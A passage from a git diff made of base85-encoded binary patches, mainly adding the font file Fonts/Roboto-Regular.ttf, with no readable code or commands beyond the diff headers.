zv$Gthe9T*+>g#WdvdzDtir8d30$d~g18<88aEKhR0>u z64^*lL98Uz)+YJoxJMsN)!BGCQ-Fv6>y(8 zwMar#ENjSy-j0!5a*i-es^blXA~)P1{?-`ykH>E<%z>K z4%PiGMt7>Zib1~7oWTSK^|mRjwj*_5|wcyptgUa0Gh>MfxG{S0#vvm zcT?$mSXv!?-6+s1Zn)z2H}>5ya+A-K|3Su^)TaD{jDO$9sj8G}$La{{zU(qm)6s%) z;kj|>^^U$##wykQHyryDR1_l~Rw_VGsW^75)#`wYN(E literal 0 HcmV?d00001 diff --git a/Fonts/Roboto-Regular.ttf b/Fonts/Roboto-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..7d9a6c4c32d7e920b549caf531e390733496b6e0 GIT binary patch literal 158604 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 